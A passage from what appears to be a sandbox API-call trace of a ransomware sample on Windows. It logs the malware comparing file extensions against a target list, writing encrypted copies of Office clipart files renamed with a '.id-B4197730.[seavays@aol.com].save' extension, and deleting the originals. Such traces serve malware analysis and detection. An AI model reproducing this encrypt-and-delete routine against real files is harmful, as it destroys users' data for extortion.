lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.219] lstrlenW (lpString=".bz2") returned 4 [0061.219] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.219] lstrlenW (lpString=".7z") returned 3 [0061.219] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.219] lstrlenW (lpString=".dbf") returned 4 [0061.219] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.220] lstrlenW (lpString=".1cd") returned 4 [0061.220] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.220] lstrlenW (lpString=".jpg") returned 4 [0061.220] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.220] lstrlenW (lpString=".doc") returned 4 [0061.220] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.220] lstrlenW (lpString=".docx") returned 5 [0061.220] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.220] lstrlenW (lpString=".pdf") returned 4 [0061.220] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.220] lstrlenW (lpString=".xls") returned 4 [0061.220] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.220] lstrlenW (lpString=".xlsx") returned 5 [0061.220] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.220] lstrlenW (lpString=".ppt") returned 4 [0061.220] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.220] lstrlenW (lpString=".zip") returned 4 [0061.220] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.220] lstrlenW (lpString=".rar") returned 4 [0061.220] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.220] lstrlenW (lpString=".bz2") returned 4 [0061.220] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.220] lstrlenW (lpString=".7z") returned 3 [0061.220] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.220] lstrlenW (lpString=".dbf") returned 4 [0061.220] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.221] lstrlenW (lpString=".1cd") returned 4 [0061.221] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.221] lstrlenW (lpString=".jpg") returned 4 [0061.221] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.221] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.221] lstrlenW (lpString="AG00057_.GIF") returned 12 [0061.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.222] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11891) returned 1 [0061.222] CloseHandle (hObject=0x378) returned 1 [0061.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0061.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.222] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.222] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0061.223] GetLastError () returned 0x0 [0061.223] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2e73, lpOverlapped=0x0) returned 1 [0061.224] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0061.225] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.225] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0061.225] SetEndOfFile (hFile=0x374) returned 1 [0061.226] CloseHandle (hObject=0x374) returned 1 [0061.227] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.227] SetEndOfFile (hFile=0x378) returned 1 [0061.227] CloseHandle (hObject=0x378) returned 1 [0061.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0061.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.228] lstrlenW (lpString=".doc") returned 4 [0061.228] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.228] lstrlenW (lpString=".docx") returned 5 [0061.228] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.228] lstrlenW (lpString=".pdf") returned 4 [0061.228] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.228] lstrlenW (lpString=".xls") returned 4 [0061.228] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.228] lstrlenW (lpString=".xlsx") returned 5 [0061.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.228] lstrlenW (lpString=".ppt") returned 4 [0061.228] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.229] lstrlenW (lpString=".zip") returned 4 [0061.229] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.229] lstrlenW (lpString=".rar") returned 4 [0061.229] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.229] lstrlenW (lpString=".bz2") returned 4 [0061.229] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.229] lstrlenW (lpString=".7z") returned 3 [0061.229] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.229] lstrlenW (lpString=".dbf") returned 4 [0061.229] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.229] lstrlenW (lpString=".1cd") returned 4 [0061.229] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.229] lstrlenW (lpString=".jpg") returned 4 [0061.229] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.229] lstrlenW (lpString=".doc") returned 4 [0061.229] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.229] lstrlenW (lpString=".docx") returned 5 [0061.229] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.229] lstrlenW (lpString=".pdf") returned 4 [0061.229] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.229] lstrlenW (lpString=".xls") returned 4 [0061.229] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.229] lstrlenW (lpString=".xlsx") returned 5 [0061.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.229] lstrlenW (lpString=".ppt") returned 4 [0061.229] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.230] lstrlenW (lpString=".zip") returned 4 [0061.230] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.230] lstrlenW (lpString=".rar") returned 4 [0061.230] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.230] lstrlenW (lpString=".bz2") returned 4 [0061.230] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.230] lstrlenW (lpString=".7z") returned 3 [0061.230] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.230] lstrlenW (lpString=".dbf") returned 4 [0061.230] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.230] lstrlenW (lpString=".1cd") returned 4 [0061.230] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0061.230] lstrlenW (lpString=".jpg") returned 4 [0061.230] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.230] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.230] lstrlenW (lpString="AG00090_.GIF") returned 12 [0061.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0061.859] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=517) returned 1 [0061.860] CloseHandle (hObject=0x384) returned 1 [0061.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0061.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0061.860] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.860] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0061.860] GetLastError () returned 0x0 [0061.860] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x205, lpOverlapped=0x0) returned 1 [0061.861] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x210, lpOverlapped=0x0) returned 1 [0061.862] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.862] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0061.863] SetEndOfFile (hFile=0x388) returned 1 [0061.863] CloseHandle (hObject=0x388) returned 1 [0061.864] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.864] SetEndOfFile (hFile=0x384) returned 1 [0061.865] CloseHandle (hObject=0x384) returned 1 [0061.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0061.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.865] lstrlenW (lpString=".doc") returned 4 [0061.865] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.865] lstrlenW (lpString=".docx") returned 5 [0061.865] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.865] lstrlenW (lpString=".pdf") returned 4 [0061.866] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.866] lstrlenW (lpString=".xls") returned 4 [0061.866] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.866] lstrlenW (lpString=".xlsx") returned 5 [0061.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.866] lstrlenW (lpString=".ppt") returned 4 [0061.866] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.866] lstrlenW (lpString=".zip") returned 4 [0061.866] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.866] lstrlenW (lpString=".rar") returned 4 [0061.866] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.866] lstrlenW (lpString=".bz2") returned 4 [0061.866] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.866] lstrlenW (lpString=".7z") returned 3 [0061.866] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.866] lstrlenW (lpString=".dbf") returned 4 [0061.866] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.866] lstrlenW (lpString=".1cd") returned 4 [0061.866] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.866] lstrlenW (lpString=".jpg") returned 4 [0061.866] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.866] lstrlenW (lpString=".doc") returned 4 [0061.866] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.866] lstrlenW (lpString=".docx") returned 5 [0061.866] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.866] lstrlenW (lpString=".pdf") returned 4 [0061.867] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.867] lstrlenW (lpString=".xls") returned 4 [0061.867] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.867] lstrlenW (lpString=".xlsx") returned 5 [0061.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.867] lstrlenW (lpString=".ppt") returned 4 [0061.867] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.867] lstrlenW (lpString=".zip") returned 4 [0061.867] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.867] lstrlenW (lpString=".rar") returned 4 [0061.867] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.867] lstrlenW (lpString=".bz2") returned 4 [0061.867] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.867] lstrlenW (lpString=".7z") returned 3 [0061.867] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.867] lstrlenW (lpString=".dbf") returned 4 [0061.867] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.867] lstrlenW (lpString=".1cd") returned 4 [0061.867] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0061.867] lstrlenW (lpString=".jpg") returned 4 [0061.867] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.867] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.867] lstrlenW (lpString="AG00103_.GIF") returned 12 [0061.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0061.868] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=12702) returned 1 [0061.868] CloseHandle (hObject=0x384) returned 1 [0061.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0061.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0061.868] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.868] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0061.868] GetLastError () returned 0x0 [0061.869] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x319e, lpOverlapped=0x0) returned 1 [0061.870] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x31a0, lpOverlapped=0x0) returned 1 [0061.872] ReadFile (in: hFile=0x384, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.872] WriteFile (in: hFile=0x388, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0061.872] SetEndOfFile (hFile=0x388) returned 1 [0061.872] CloseHandle (hObject=0x388) returned 1 [0061.873] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.873] SetEndOfFile (hFile=0x384) returned 1 [0061.874] CloseHandle (hObject=0x384) returned 1 [0061.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0061.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.875] lstrlenW (lpString=".doc") returned 4 [0061.875] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.875] lstrlenW (lpString=".docx") returned 5 [0061.875] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.875] lstrlenW (lpString=".pdf") returned 4 [0061.875] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.875] lstrlenW (lpString=".xls") returned 4 [0061.875] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.875] lstrlenW (lpString=".xlsx") returned 5 [0061.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.875] lstrlenW (lpString=".ppt") returned 4 [0061.875] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.875] lstrlenW (lpString=".zip") returned 4 [0061.875] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.875] lstrlenW (lpString=".rar") returned 4 [0061.875] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.875] lstrlenW (lpString=".bz2") returned 4 [0061.875] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.875] lstrlenW (lpString=".7z") returned 3 [0061.875] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.875] lstrlenW (lpString=".dbf") returned 4 [0061.875] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0061.875] lstrlenW (lpString=".1cd") returned 4 [0061.876] lstrcmpiW 